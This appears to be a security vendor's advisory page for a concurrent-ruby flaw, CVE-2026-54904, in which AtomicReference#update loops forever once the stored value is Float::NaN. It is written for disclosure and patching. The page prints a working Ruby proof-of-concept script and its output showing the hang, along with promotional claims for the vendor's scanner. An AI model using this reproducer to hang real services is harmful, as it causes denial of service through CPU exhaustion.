Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
💎 RubyGems
Not in CISA KEV

GHSA-h8w8-99g7-qmvj

GHSA-h8w8-99g7-qmvj is a CWE-835 vulnerability in concurrent-ruby. O3 Security confirms whether GHSA-h8w8-99g7-qmvj is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Concurrent Ruby : `AtomicReference#update` livelocks when the stored value is `Float::NAN`

Also known asCVE-2026-54904
Published
Jun 19, 2026
Updated
Jun 21, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Jun 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
💎concurrent-ruby

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN.

The issue is caused by the interaction between:

  • AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds.
  • Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.
  • Ruby NaN semantics, where Float::NAN == Float::NAN is always false.

As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs.

Version

Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab

Details

AtomicReference#update retries until compare_and_set returns true:

def update
  true until compare_and_set(old_value = get, new_value = yield(old_value))
  new_value
end

For numeric expected values, compare_and_set uses numeric equality before attempting the underlying atomic compare-and-set:

def compare_and_set(old_value, new_value)
  if old_value.kind_of? Numeric
    while true
      old = get

      return false unless old.kind_of? Numeric
      return false unless old == old_value

      result = _compare_and_set(old, new_value)
      return result if result
    end
  else
    _compare_and_set(old_value, new_value)
  end
end

When the stored value is Float::NAN, old_value = get returns NaN. The later comparison old == old_value is false because NaN is not equal to itself. compare_and_set therefore returns false every time. AtomicReference#update treats that as a failed concurrent update and retries forever.

This is reachable through the public Concurrent::AtomicReference API and does not require native extensions or undefined behavior.

PoC

#!/usr/bin/env ruby
# frozen_string_literal: true

require 'concurrent/atomic/atomic_reference'
require 'concurrent/version'

puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=AtomicReference#update livelock when current value is Float::NAN"

ref = Concurrent::AtomicReference.new(Float::NAN)
attempts = 0
finished = false

worker = Thread.new do
  ref.update do |_old_value|
    attempts += 1
    0.0
  end
  finished = true
end

sleep 0.25

puts "nan_update_attempts_after_250ms=#{attempts}"
puts "nan_update_finished=#{finished}"
puts "nan_update_worker_alive=#{worker.alive?}"

if worker.alive? && !finished && attempts > 1000
  puts 'result=REPRODUCED busy retry loop; update did not complete'
else
  puts 'result=NOT_REPRODUCED'
end

worker.kill
worker.join

control = Concurrent::AtomicReference.new(1.0)
control_attempts = 0
control_result = control.update do |old_value|
  control_attempts += 1
  old_value + 1.0
end

puts "control_update_result=#{control_result.inspect}"
puts "control_update_attempts=#{control_attempts}"
puts "control_update_final_value=#{control.value.inspect}"

Log evidence

ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=AtomicReference#update livelock when current value is Float::NAN
nan_update_attempts_after_250ms=1926016
nan_update_finished=false
nan_update_worker_alive=true
result=REPRODUCED busy retry loop; update did not complete
control_update_result=2.0
control_update_attempts=1
control_update_final_value=2.0

Impact

This is an application-level denial of service issue. If an application stores externally derived numeric data in a Concurrent::AtomicReference, an attacker or faulty upstream data source may be able to cause the stored value to become Float::NAN. Any later call to AtomicReference#update on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
💎RubyGemsconcurrent-rubyall versions1.3.7

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for concurrent-ruby. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update concurrent-ruby to 1.3.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h8w8-99g7-qmvj is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-h8w8-99g7-qmvj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-h8w8-99g7-qmvj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary `Concurrent::AtomicReference#update` can enter a permanent busy retry loop when the current value is `Float::NAN`. The issue is caused by the interaction between: - `AtomicReference#update`, which retries until `compare_and_set(old_value, new_value)` succeeds. - Numeric `compare_and_set`, which checks `old == old_value` before attempting the underlying atomic swap. - Ruby NaN semantics, where `Float::NAN == Float::NAN` is always `false`. As a result, once an `AtomicReference` contains `Float::NAN`, calling `#update` repeatedly evaluates the caller's block and never returns. In se
O3 Security · Impact-Aware SCA

Is GHSA-h8w8-99g7-qmvj in your dependencies?

O3 detects GHSA-h8w8-99g7-qmvj across RubyGems dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-h8w8-99g7-qmvj: concurrent-ruby… | O3 Security